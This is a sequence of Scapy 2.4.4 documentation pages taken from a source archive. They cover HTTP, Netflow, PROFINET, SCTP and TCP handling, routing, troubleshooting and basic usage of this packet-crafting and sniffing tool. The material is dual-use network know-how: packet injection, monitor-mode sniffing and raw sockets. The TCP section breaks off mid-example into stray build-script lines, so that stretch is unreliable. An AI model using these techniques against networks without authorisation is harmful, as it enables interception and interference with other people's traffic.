Nearby * `Overflow area`__ __ https://en.wikipedia.org/wiki/AirDrop __ https://en.wikipedia.org/wiki/OS_X_Yosemite#Continuity __ https://developer.apple.com/documentation/corebluetooth/cbperipheralmanager/1393252-startadvertising For compatibility with these other broadcasts, Apple BLE frames in Scapy are layered on top of ``Apple_BLE_Submessage`` and ``Apple_BLE_Frame``: * ``HCI_Cmd_LE_Set_Advertising_Data``, ``HCI_LE_Meta_Advertising_Report``, ``BTLE_ADV_IND``, ``BTLE_ADV_NONCONN_IND`` or ``BTLE_ADV_SCAN_IND`` contain one or more... * ``EIR_Hdr``, which may have a payload of one... * ``EIR_Manufacturer_Specific_Data``, which may have a payload of one... * ``Apple_BLE_Frame``, which contains one or more... * ``Apple_BLE_Submessage``, which contains a payload of one... * ``Raw`` (if not supported), or ``IBeacon_Data``. This module only presently supports ``IBeacon_Data`` submessages. Other submessages are decoded as ``Raw``. One might sometimes see multiple submessages in a single broadcast, such as Handoff and Nearby. This is not mandatory -- there are also Handoff-only and Nearby-only broadcasts. Inspecting a raw BTLE advertisement frame from an Apple device: .. code-block:: python3 p = BTLE(hex_bytes('d6be898e4024320cfb574d5a02011a1aff4c000c0e009c6b8f40440f1583ec895148b410050318c0b525b8f7d4')) p.show() Results in the output: .. code-block:: text ###[ BT4LE ]### access_addr= 0x8e89bed6 crc= 0xb8f7d4 ###[ BTLE advertising header ]### RxAdd= public TxAdd= random RFU= 0 PDU_type= ADV_IND unused= 0 Length= 0x24 ###[ BTLE ADV_IND ]### AdvA= 5a:4d:57:fb:0c:32 \data\ |###[ EIR Header ]### | len= 2 | type= flags |###[ Flags ]### | flags= general_disc_mode+simul_le_br_edr_ctrl+simul_le_br_edr_host |###[ EIR Header ]### | len= 26 | type= mfg_specific_data |###[ EIR Manufacturer Specific Data ]### | company_id= 0x4c |###[ Apple BLE broadcast frame ]### | \plist\ | |###[ Apple BLE submessage ]### | | subtype= handoff | | len= 14 | |###[ Raw ]### | | load= '\x00\x9ck\x8f@D\x0f\x15\x83\xec\x89QH\xb4' | |###[ Apple BLE submessage ]### | | subtype= nearby | | len= 5 | |###[ Raw ]### | | load= '\x03\x18\xc0\xb5%' scapy-2.4.4/doc/scapy/layers/http.rst000066400000000000000000000120531372370053500175420ustar00rootroot00000000000000HTTP ==== Scapy supports the sending / receiving of HTTP packets natively. HTTP 1.X -------- .. note:: Support for HTTP 1.X was added in ``2.4.3``, whereas HTTP 2.X was already in ``2.4.0``. About HTTP 1.X ______________ HTTP 1.X is a *text protocol*. Those are pretty unusual nowadays (HTTP 2.X is binary), therefore its implementation is very different. For transmission purposes, HTTP 1.X frames are split in various fragments during the connection, which may or not have been encoded. This is explain over https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/Transfer-Encoding To summarize, the frames can be split in 3 different ways: - ``chunks``: split in fragments called chunks that are preceded by their length. The end of a frame is marked by an empty chunk - using ``Content-Length``: the header of the HTTP frame announces the total length of the frame - None of the above: the HTTP frame ends when the TCP stream ends / when a TCP push happens. Moreover, each frame may be aditionnally compressed, depending on the algorithm specified in the HTTP header: - ``compress``: compressed using *LZW* - ``deflate``: compressed using *ZLIB* - ``br``: compressed using *Brotli* - ``gzip`` Let's have a look at what happens when you perform an HTTPRequest using Scapy's ``TCP_client`` (explained below): .. image:: ../graphics/http_tcp.png Once the first SYN/ACK is done, the connection is established. Scapy will send the ``HTTPRequest()``, and the host will answer with HTTP fragments. Scapy will ACK each of those, and recompile them using ``TCPSession``, like Wireshark does when it displays the answer frame. HTTP 1.X in Scapy _________________ Let's list the module's content:: >>> explore(scapy.layers.http) Packets contained in scapy.layers.http: Class |Name ------------|------------- HTTP |HTTP 1 HTTPRequest |HTTP Request HTTPResponse|HTTP Response There are two frames available: ``HTTPRequest`` and ``HTTPResponse``. The ``HTTP`` is only used during dissection, as a util to choose between the two. All common header fields should be supported. - **Default HTTPRequest:** .. code:: python >>> HTTPRequest().show() ###[ HTTP Request ]### Method= 'GET' Path= '/' Http_Version= 'HTTP/1.1' A_IM= None Accept= None Accept_Charset= None Accept_Datetime= None Accept_Encoding= None [...] - **Default HTTPResponse:** .. code:: python >>> HTTPResponse().show() ###[ HTTP Response ]### Http_Version= 'HTTP/1.1' Status_Code= '200' Reason_Phrase= 'OK' Accept_Patch43= None Accept_Ranges= None [...] Use Scapy to send/receive HTTP 1.X __________________________________ To handle this decompression, Scapy uses `Sessions classes <../usage.html#advanced-sniffing-sessions>`_, more specifically the ``TCPSession`` class. You have several ways of using it: +--------------------------------------------+-------------------------------------------+ | ``sniff(session=TCPSession, [...])`` | ``TCP_client.tcplink(HTTP, host, 80)`` | +============================================+===========================================+ | | Perform decompression / defragmentation | | Acts as a TCP client: handles SYN/ACK, | | | on all TCP streams simultaneously, but | | and all TCP actions, but only creates | | | only acts passively. | | one stream. | +--------------------------------------------+-------------------------------------------+ **Examples:** - ``TCP_client.tcplink``: Send an HTTPRequest to ``www.secdev.org`` and write the result in a file: .. code:: python load_layer("http") req = HTTP()/HTTPRequest( Accept_Encoding=b'gzip, deflate', Cache_Control=b'no-cache', Connection=b'keep-alive', Host=b'www.secdev.org', Pragma=b'no-cache' ) a = TCP_client.tcplink(HTTP, "www.secdev.org", 80) answser = a.sr1(req) a.close() with open("www.secdev.org.html", "wb") as file: file.write(answser.load) ``TCP_client.tcplink`` makes it feel like it only received one packet, but in reality it was recombined in ``TCPSession``. If you performed a plain ``sniff()``, you would have seen those packets. **This code is implemented in a utility function:** ``http_request()``, usable as so: .. code:: python load_layer("http") http_request("www.google.com", "/", display=True) This will open the webpage in your default browser thanks to ``display=True``. - ``sniff()``: Dissect a pcap which contains a JPEG image that was sent over HTTP using chunks. .. note:: The ``http_chunk.pcap.gz`` file is available in ``scapy/test/pcaps`` .. code:: python load_layer("http") pkts = sniff(offline="http_chunk.pcap.gz", session=TCPSession) # a[29] is the HTTPResponse with open("image.jpg", "wb") as file: file.write(pkts[29].load) HTTP 2.X -------- The HTTP 2 documentation is available as a Jupyther notebook over here: `HTTP 2 Tuto `_scapy-2.4.4/doc/scapy/layers/index.rst000066400000000000000000000001001372370053500176600ustar00rootroot00000000000000.. Layer-specific documentation .. toctree:: :glob: *scapy-2.4.4/doc/scapy/layers/netflow.rst000066400000000000000000000063351372370053500202470ustar00rootroot00000000000000Netflow ======= Netflow packets mainly comes in 3 versions:: - ``Netflow V5`` - ``Netflow V7`` - ``Netflow V9 / V10 (IPfix)`` While the two first versions are pretty straightforward, building or dissecting Netflow v9/v10 isn't easy. Netflow V1 ---------- .. code:: netflow = NetflowHeader()/NetflowHeaderV1()/NetflowRecordV1() pkt = Ether()/IP()/UDP()/netflow Netflow V5 ---------- .. code:: netflow = NetflowHeader()/NetflowHeaderV5(count=1)/NetflowRecordV5(dst="192.168.0.1") pkt = Ether()/IP()/UDP()/netflow NetflowV9 / IPfix ----------------- Netflow v9 and IPfix use a template based system. This means that records that are sent over the wire require a "Template" to be sent previously in a Flowset packet. This template is required to understand thr format of the record, therefore needs to be provided when building or dissecting those. Fortunately, Scapy knows how to detect the templates and will provide dissecting methods that take care of that. .. note:: The following examples apply to Netflow V9. When using IPfix, use the exact same format but replace the class names with their V10 counterpart (if they exist ! Scapy shares some classes between the two). Have a look at :mod:`~scapy.layers.netflow` - **Build** .. code:: header = Ether()/IP()/UDP() netflow_header = NetflowHeader()/NetflowHeaderV9() # Let's first build the template. Those need an ID > 255 flowset = NetflowFlowsetV9( templates=[NetflowTemplateV9( template_fields=[ NetflowTemplateFieldV9(fieldType=1, fieldLength=1), # IN_BYTES NetflowTemplateFieldV9(fieldType=2, fieldLength=4), # IN_PKTS NetflowTemplateFieldV9(fieldType=4), # PROTOCOL NetflowTemplateFieldV9(fieldType=8), # IPV4_SRC_ADDR NetflowTemplateFieldV9(fieldType=12), # IPV4_DST_ADDR ], templateID=256, fieldCount=5) ], flowSetID=0 ) # Let's generate the record class. This will be a Packet class # In case you provided several templates in ghe flowset, you will need # to pass the template ID as second parameter recordClass = GetNetflowRecordV9(flowset) # Now lets build the data records dataFS = NetflowDataflowsetV9( templateID=256, records=[ # Some random data. recordClass( IN_BYTES=b"\x12", IN_PKTS=b"\0\0\0\0", PROTOCOL=6, IPV4_SRC_ADDR="192.168.0.10", IPV4_DST_ADDR="192.168.0.11" ), recordClass( IN_BYTES=b"\x0c", IN_PKTS=b"\1\1\1\1", PROTOCOL=3, IPV4_SRC_ADDR="172.0.0.10", IPV4_DST_ADDR="172.0.0.11" ) ], ) pkt = header / netflow_header / flowset / dataFS - **Dissection** Scapy provides two methods to parse NetflowV9/IPFix: - :class:`~scapy.layers.netflow.NetflowSession`: to use with ``sniff(session=NetflowV9Session, [...])`` - :func:`~scapy.layers.netflow.netflowv9_defragment`: to use on a packet or list of packets. With the previous example:: pkt = Ether(raw(pkt)) # will loose the defragmentation pkt = netflowv9_defragment(pkt)[0] scapy-2.4.4/doc/scapy/layers/pnio.rst000066400000000000000000000301441372370053500175310ustar00rootroot00000000000000*************** PROFINET IO RTC *************** PROFINET IO is an industrial protocol composed of different layers such as the Real-Time Cyclic (RTC) layer, used to exchange data. However, this RTC layer is stateful and depends on a configuration sent through another layer: the DCE/RPC endpoint of PROFINET. This configuration defines where each exchanged piece of data must be located in the RTC ``data`` buffer, as well as the length of this same buffer. Building such packet is then a bit more complicated than other protocols. RTC data packet --------------- The first thing to do when building the RTC ``data`` buffer is to instantiate each Scapy packet which represents a piece of data. Each one of them may require some specific piece of configuration, such as its length. All packets and their configuration are: * ``PNIORealTimeRawData``: a simple raw data like ``Raw`` * ``length``: defines the length of the data * ``Profisafe``: the PROFIsafe profile to perform functional safety * ``length``: defines the length of the whole packet * ``CRC``: defines the length of the CRC, either ``3`` or ``4`` * ``PNIORealTimeIOxS``: either an IO Consumer or Provider Status byte * Doesn't require any configuration To instantiate one of these packets with its configuration, the ``config`` argument must be given. It is a ``dict()`` which contains all the required piece of configuration:: >>> load_contrib('pnio_rtc') >>> raw(PNIORealTimeRawData(load='AAA', config={'length': 4})) 'AAA\x00' >>> raw(Profisafe(load='AAA', Control_Status=0x20, CRC=0x424242, config={'length': 8, 'CRC': 3})) 'AAA\x00 BBB' >>> hexdump(PNIORealTimeIOxS()) 0000 80 . RTC packet ---------- Now that a data packet can be instantiated, a whole RTC packet may be built. ``PNIORealTime`` contains a field ``data`` which is a list of all data packets to add in the buffer, however, without the configuration, Scapy won't be able to dissect it:: >>> load_contrib("pnio_rtc") >>> p=PNIORealTime(cycleCounter=1024, data=[ ... PNIORealTimeIOxS(), ... PNIORealTimeRawData(load='AAA', config={'length':4}) / PNIORealTimeIOxS(), ... Profisafe(load='AAA', Control_Status=0x20, CRC=0x424242, config={'length': 8, 'CRC': 3}) / PNIORealTimeIOxS(), ... ]) >>> p.show() ###[ PROFINET Real-Time ]### len= None dataLen= None \data\ |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0 | extension= 0 |###[ PNIO RTC Raw data ]### | load= 'AAA' |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0 | extension= 0 |###[ PROFISafe ]### | load= 'AAA' | Control_Status= 0x20 | CRC= 0x424242 |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0 | extension= 0 padding= '' cycleCounter= 1024 dataStatus= primary+validData+run+no_problem transferStatus= 0 >>> p.show2() ###[ PROFINET Real-Time ]### len= 44 dataLen= 15 \data\ |###[ PNIO RTC Raw data ]### | load= '\x80AAA\x00\x80AAA\x00 BBB\x80' padding= '' cycleCounter= 1024 dataStatus= primary+validData+run+no_problem transferStatus= 0 For Scapy to be able to dissect it correctly, one must also configure the layer for it to know the location of each data in the buffer. This configuration is saved in the dictionary ``conf.contribs["PNIO_RTC"]`` which can be updated with the ``pnio_update_config`` method. Each item in the dictionary uses the tuple ``(Ether.src, Ether.dst)`` as key, to be able to separate the configuration of each communication. Each value is then a list of a tuple which describes a data packet. It is composed of the negative index, from the end of the data buffer, of the packet position, the class of the packet as the second item and the ``config`` dictionary to provide to the class as last. If we continue the previous example, here is the configuration to set:: >>> load_contrib("pnio") >>> e=Ether(src='00:01:02:03:04:05', dst='06:07:08:09:0a:0b') / ProfinetIO() / p >>> e.show2() ###[ Ethernet ]### dst= 06:07:08:09:0a:0b src= 00:01:02:03:04:05 type= 0x8892 ###[ ProfinetIO ]### frameID= RT_CLASS_1 ###[ PROFINET Real-Time ]### len= 44 dataLen= 15 \data\ |###[ PNIO RTC Raw data ]### | load= '\x80AAA\x00\x80AAA\x00 BBB\x80' padding= '' cycleCounter= 1024 dataStatus= primary+validData+run+no_problem transferStatus= 0 >>> pnio_update_config({('00:01:02:03:04:05', '06:07:08:09:0a:0b'): [ ... (-9, Profisafe, {'length': 8, 'CRC': 3}), ... (-9 - 5, PNIORealTimeRawData, {'length':4}), ... ]}) >>> e.show2() ###[ Ethernet ]### dst= 06:07:08:09:0a:0b src= 00:01:02:03:04:05 type= 0x8892 ###[ ProfinetIO ]### frameID= RT_CLASS_1 ###[ PROFINET Real-Time ]### len= 44 dataLen= 15 \data\ |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L |###[ PNIO RTC Raw data ]### | load= 'AAA' |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L |###[ PROFISafe ]### | load= 'AAA' | Control_Status= 0x20 | CRC= 0x424242L |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L padding= '' cycleCounter= 1024 dataStatus= primary+validData+run+no_problem transferStatus= 0 If no data packets are configured for a given offset, it defaults to a ``PNIORealTimeIOxS``. However, this method is not very convenient for the user to configure the layer and it only affects the dissection of packets. In such cases, one may have access to several RTC packets, sniffed or retrieved from a PCAP file. Thus, ``PNIORealTime`` provides some methods to analyse a list of ``PNIORealTime`` packets and locate all data in it, based on simple heuristics. All of them take as first argument an iterable which contains the list of packets to analyse. * ``PNIORealTime.find_data()`` analyses the data buffer and separate real data from IOxS. It returns a dict which can be provided to ``pnio_update_config``. * ``PNIORealTime.find_profisafe()`` analyses the data buffer and find the PROFIsafe profiles among the real data. It returns a dict which can be provided to ``pnio_update_config``. * ``PNIORealTime.analyse_data()`` executes both previous methods and update the configuration. **This is usually the method to call.** * ``PNIORealTime.draw_entropy()`` will draw the entropy of each byte in the data buffer. It can be used to easily visualize PROFIsafe locations as entropy is the base of the decision algorithm of ``find_profisafe``. :: >>> load_contrib('pnio_rtc') >>> t=rdpcap('/path/to/trace.pcap', 1024) >>> PNIORealTime.analyse_data(t) {('00:01:02:03:04:05', '06:07:08:09:0a:0b'): [(-19, , {'length': 1}), (-15, , {'CRC': 3, 'length': 6}), (-7, , {'CRC': 3, 'length': 5})]} >>> t[100].show() ###[ Ethernet ]### dst= 06:07:08:09:0a:0b src= 00:01:02:03:04:05 type= n_802_1Q ###[ 802.1Q ]### prio= 6L id= 0L vlan= 0L type= 0x8892 ###[ ProfinetIO ]### frameID= RT_CLASS_1 ###[ PROFINET Real-Time ]### len= 44 dataLen= 22 \data\ |###[ PNIO RTC Raw data ]### | load= '\x80\x80\x80\x80\x80\x80\x00\x80\x80\x80\x12:\x0e\x12\x80\x80\x00\x12\x8b\x97\xe3\x80' padding= '' cycleCounter= 6208 dataStatus= primary+validData+run+no_problem transferStatus= 0 >>> t[100].show2() ###[ Ethernet ]### dst= 06:07:08:09:0a:0b src= 00:01:02:03:04:05 type= n_802_1Q ###[ 802.1Q ]### prio= 6L id= 0L vlan= 0L type= 0x8892 ###[ ProfinetIO ]### frameID= RT_CLASS_1 ###[ PROFINET Real-Time ]### len= 44 dataLen= 22 \data\ |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L [...] |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L |###[ PNIO RTC Raw data ]### | load= '' |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L [...] |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L |###[ PROFISafe ]### | load= '' | Control_Status= 0x12 | CRC= 0x3a0e12L |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L |###[ PROFISafe ]### | load= '' | Control_Status= 0x12 | CRC= 0x8b97e3L |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L padding= '' cycleCounter= 6208 dataStatus= primary+validData+run+no_problem transferStatus= 0 In addition, one can see, when displaying a ``PNIORealTime`` packet, the field ``len``. This is a computed field which is not added in the final packet build. It is mainly useful for dissection and reconstruction, but it can also be used to modify the behaviour of the packet. In fact, RTC packet must always be long enough for an Ethernet frame and to do so, a padding must be added right after the ``data`` buffer. The default behaviour is to add ``padding`` whose size is computed during the ``build`` process:: >>> raw(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()])) '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00' However, one can set ``len`` to modify this behaviour. ``len`` controls the length of the whole ``PNIORealTime`` packet. Then, to shorten the length of the padding, ``len`` can be set to a lower value:: >>> raw(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()], len=50)) '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00' >>> raw(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()])) '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00' >>> raw(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()], len=30)) '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00' scapy-2.4.4/doc/scapy/layers/sctp.rst000066400000000000000000000026431372370053500175400ustar00rootroot00000000000000**** SCTP **** SCTP is a relatively young transport-layer protocol combining both TCP and UDP characteristics. The `RFC 3286 `_ introduces it and its description lays in the `RFC 4960 `_. It is not broadly used, its mainly present in core networks operated by telecommunication companies, to support VoIP for instance. Enabling dynamic addressing reconfiguration and chunk authentication capabilities --------------------------------------------------------------------------------- If you are trying to discuss with SCTP servers, you may be interested in capabilities added in `RFC 4895 `_ which describe how to authenticated some SCTP chunks, and/or `RFC 5061 `_ to dynamically reconfigure the IP address of a SCTP association. These capabilities are not always enabled by default on Linux. Scapy does not need any modification on its end, but SCTP servers may need specific activation. To enable the RFC 4895 about authenticating chunks:: $ sudo echo 1 > /proc/sys/net/sctp/auth_enable To enable the RFC 5061 about dynamic address reconfiguration:: $ sudo echo 1 > /proc/sys/net/sctp/addip_enable You may also want to use the dynamic address reconfiguration without necessarily enabling the chunk authentication:: $ sudo echo 1 > /proc/sys/net/sctp/addip_noauth_enablescapy-2.4.4/doc/scapy/layers/tcp.rst000066400000000000000000000040131372370053500173460ustar00rootroot00000000000000TCP === Scapy is based on a stimulus/response model. This model does not work well for a TCP stack. On the other hand, quite often, the TCP stream is used as a tube to exchange messages that are stimulus/response-based. Also, Scapy provides a way to describe network automata that can be used to create a TCP stack automaton. There are many ways to use TCP with Scapy Using the kernel's TCP stack ---------------------------- Scapy provides a ``StreamSocket`` object that can transform a simple socket into a Scapy supersocket suitable for use with ``sr()`` command family. .. code:: >>> s=socket.socket() >>> s.connect(("www.test.com",80)) >>> ss=StreamSocket(s,Raw) >>> ss.sr1(Raw("GET /\r\n")) Begin emission: Finished to send 1 packets. * Received 1 packets, got 1 answers, remaining 0 packets >> s = TCP_client.tcplink(Raw, "www.test.com", 80) >>> s.send("GET /\r\n") 7 >>> s.recv() NUL 2>NUL if errorlevel 9009 ( echo. echo.The 'sphinx-build' command was not found. Make sure you have Sphinx echo.installed, then set the SPHINXBUILD environment variable to point echo.to the full path of the 'sphinx-build' executable. Alternatively you echo.may add the Sphinx directory to PATH. echo. echo.If you don't have Sphinx installed, grab it from echo.http://sphinx-doc.org/ exit /b 1 ) %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% goto end :help %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% :end popd scapy-2.4.4/doc/scapy/routing.rst000066400000000000000000000046621372370053500167620ustar00rootroot00000000000000************* Scapy routing ************* Scapy needs to know many things related to the network configuration of your machine, to be able to route packets properly. For instance, the interface list, the IPv4 and IPv6 routes... This means that Scapy has implemented bindings to get this information. Those bindings are OS specific. This will show you how to use it for a different usage. .. note:: Scapy will have OS-specific functions underlying some high level functions. This page ONLY presents the cross platform ones List interfaces --------------- Use ``get_if_list()`` to get the interface list .. code-block:: pycon >>> get_if_list() ['lo', 'eth0'] IPv4 routes ----------- .. note:: If you want to change or edit the routes, have a look at `the "Routing" section in Usage `_ The routes are stores in :py:attr:`conf.route `. You can use it to display the routes, or get specific routing .. code-block:: pycon >>> conf.route Network Netmask Gateway Iface Output IP Metric 0.0.0.0 0.0.0.0 10.0.0.1 eth0 10.0.0.5 100 10.0.0.0 255.255.255.0 0.0.0.0 eth0 10.0.0.5 0 127.0.0.0 255.0.0.0 0.0.0.0 lo 127.0.0.1 1 168.63.129.16 255.255.255.255 10.0.0.1 eth0 10.0.0.5 100 169.254.169.254 255.255.255.255 10.0.0.1 eth0 10.0.0.5 100 Get the route for a specific IP: :py:func:`conf.route.route() ` will return ``(interface, outgoing_ip, gateway)`` .. code-block:: pycon >>> conf.route.route("127.0.0.1") ('lo', '127.0.0.1', '0.0.0.0') IPv6 routes ----------- Same than IPv4 but with :py:attr:`conf.route6 ` Get router IP address --------------------- .. code-block:: pycon >>> gw = conf.route.route("0.0.0.0")[2] >>> gw '10.0.0.1' Get local IP / IP of an interface --------------------------------- Use ``conf.iface`` .. code-block:: pycon >>> ip = get_if_addr(conf.iface) # default interface >>> ip = get_if_addr("eth0") >>> ip '10.0.0.5' Get local MAC / MAC of an interface ----------------------------------- .. code-block:: pycon >>> mac = get_if_hwaddr(conf.iface) # default interface >>> mac = get_if_hwaddr("eth0") >>> mac '54:3f:19:c9:38:6d' Get MAC by IP ------------- .. code-block:: pycon >>> mac = getmacbyip("10.0.0.1") >>> mac 'f3:ae:5e:76:31:9b' scapy-2.4.4/doc/scapy/sphinx_apidoc_postprocess.py000066400000000000000000000031221372370053500223750ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Gabriel Potter # This program is published under a GPLv2 license """ Scapy's post process of sphinx-api command """ import glob import os import sys files = list(glob.iglob('./api/*.rst')) parents = set( "%s.rst" % x for x in ( f.rsplit('.', 1)[0] for f in ( f[:-4] for f in files ) ) if x ) for f in files: # Post process each file _e = False with open(f) as fd: content = fd.readlines() if f in parents: # Process "parent files", i.e. with subfiles # Remove sub categories (better indexation) for name in ["Subpackages", "Submodules"]: try: sub = content.index(name+"\n") except ValueError: continue del content[sub:sub+3] _e = True # Custom if f.endswith("scapy.rst"): content[0] = "Scapy API reference\n" content[1] = "=" * (len(content[0]) - 1) + "\n" for i, line in enumerate(content): if "toctree" in line: content[i] = line + " :titlesonly:\n" _e = True # File / module file for name in ["package", "module"]: if name in content[0]: content[0] = content[0].replace(" " + name, "") content[1] = "=" * (len(content[0]) - 1) + "\n" _e = True if _e: print("Post-processed '%s'" % f) with open(f, "w") as fd: fd.writelines(content) scapy-2.4.4/doc/scapy/troubleshooting.rst000066400000000000000000000111341372370053500205120ustar00rootroot00000000000000*************** Troubleshooting *************** FAQ === I can't sniff/inject packets in monitor mode. --------------------------------------------- The use monitor mode varies greatly depending on the platform. - **Windows or *BSD or conf.use_pcap = True** ``libpcap`` must be called differently by Scapy in order for it to create the sockets in monitor mode. You will need to pass the ``monitor=True`` to any calls that open a socket (``send``, ``sniff``...) or to a Scapy socket that you create yourself (``conf.L2Socket``...) - **Native Linux (with pcap disabled):** You should set the interface in monitor mode on your own. Scapy provides utilitary functions: ``set_iface_monitor`` and ``get_iface_mode`` (linux only), that may be used (they do system calls to ``iwconfig`` and will restart the adapter). **If you are using Npcap:** please note that Npcap ``npcap-0.9983`` broke the 802.11 util back in 2019. It has yet to be fixed (as of Npcap 0.9994) so in the meantime, use `npcap-0.9982.exe `_ .. note:: many adapters do not support monitor mode, especially on Windows, or may incorrectly report the headers. See `the Wireshark doc about this `_ We make our best to make this work, if your adapter works with Wireshark for instance, but not with Scapy, feel free to report an issue. My TCP connections are reset by Scapy or by my kernel. ------------------------------------------------------ The kernel is not aware of what Scapy is doing behind his back. If Scapy sends a SYN, the target replies with a SYN-ACK and your kernel sees it, it will reply with a RST. To prevent this, use local firewall rules (e.g. NetFilter for Linux). Scapy does not mind about local firewalls. I can't ping 127.0.0.1. Scapy does not work with 127.0.0.1 or on the loopback interface --------------------------------------------------------------------------------------- The loopback interface is a very special interface. Packets going through it are not really assembled and disassembled. The kernel routes the packet to its destination while it is still stored an internal structure. What you see with tcpdump -i lo is only a fake to make you think everything is normal. The kernel is not aware of what Scapy is doing behind his back, so what you see on the loopback interface is also a fake. Except this one did not come from a local structure. Thus the kernel will never receive it. In order to speak to local applications, you need to build your packets one layer upper, using a PF_INET/SOCK_RAW socket instead of a PF_PACKET/SOCK_RAW (or its equivalent on other systems than Linux):: >>> conf.L3socket >>> conf.L3socket=L3RawSocket >>> sr1(IP(dst="127.0.0.1")/ICMP()) > BPF filters do not work. I'm on a ppp link ------------------------------------------ This is a known bug. BPF filters must compiled with different offsets on ppp links. It may work if you use libpcap (which will be used to compile the BPF filter) instead of using native linux support (PF_PACKET sockets). traceroute() does not work. I'm on a ppp link --------------------------------------------- This is a known bug. See BPF filters do not work. I'm on a ppp link To work around this, use ``nofilter=1``:: >>> traceroute("target", nofilter=1) Graphs are ugly/fonts are too big/image is truncated. ----------------------------------------------------- Quick fix: use png format:: >>> x.graph(format="png") Upgrade to latest version of GraphViz. Try providing different DPI options (50,70,75,96,101,125, for instance):: >>> x.graph(options="-Gdpi=70") If it works, you can make it permanenent:: >>> conf.prog.dot = "dot -Gdpi=70" You can also put this line in your ``~/.scapy_startup.py`` file Getting help ============ Common problems are answered in the FAQ. If you need additional help, please check out: * The `Gitter channel `_ * The `GitHub repository `_ There's also a low traffic mailing list at ``scapy.ml(at)secdev.org`` (`archive `_, `RSS, NNTP `_). Subscribe by sending a mail to ``scapy.ml-subscribe(at)secdev.org``. You are encouraged to send questions, bug reports, suggestions, ideas, cool usages of Scapy, etc. scapy-2.4.4/doc/scapy/usage.rst000066400000000000000000002237221372370053500163770ustar00rootroot00000000000000***** Usage ***** Starting Scapy ============== Scapy's interactive shell is run in a terminal session. Root privileges are needed to send the packets, so we're using ``sudo`` here:: $ sudo ./scapy Welcome to Scapy (2.4.0) >>> On Windows, please open a command prompt (``cmd.exe``) and make sure that you have administrator privileges:: C:\>scapy Welcome to Scapy (2.4.0) >>> If you do not have all optional packages installed, Scapy will inform you that some features will not be available:: INFO: Can't import python matplotlib wrapper. Won't be able to plot. INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). The basic features of sending and receiving packets should still work, though. Customizing the Terminal ------------------------ Before you actually start using Scapy, you may want to configure Scapy to properly render colors on your terminal. To do so, set ``conf.color_theme`` to one of of the following themes:: DefaultTheme, BrightTheme, RastaTheme, ColorOnBlackTheme, BlackAndWhite, HTMLTheme, LatexTheme For instance:: conf.color_theme = BrightTheme() .. image:: graphics/animations/animation-scapy-themes-demo.gif :align: center Other parameters such as ``conf.prompt`` can also provide some customization. Note Scapy will update the shell automatically as soon as the ``conf`` values are changed. Interactive tutorial ==================== This section will show you several of Scapy's features with Python 2. Just open a Scapy session as shown above and try the examples yourself. First steps ----------- Let's build a packet and play with it:: >>> a=IP(ttl=10) >>> a < IP ttl=10 |> >>> a.src ’127.0.0.1’ >>> a.dst="192.168.1.1" >>> a < IP ttl=10 dst=192.168.1.1 |> >>> a.src ’192.168.8.14’ >>> del(a.ttl) >>> a < IP dst=192.168.1.1 |> >>> a.ttl 64 Stacking layers --------------- The ``/`` operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer. :: >>> IP() >>> IP()/TCP() > >>> Ether()/IP()/TCP() >> >>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n" >> >>> Ether()/IP()/IP()/UDP() >>> >>> IP(proto=55)/TCP() > .. image:: graphics/fieldsmanagement.png :scale: 90 Each packet can be built or dissected (note: in Python ``_`` (underscore) is the latest result):: >>> raw(IP()) 'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01' >>> IP(_) >>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n" >>> hexdump(a) 00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00 ...7.D...R....E. 00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23 .C....@.x<....B# FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02 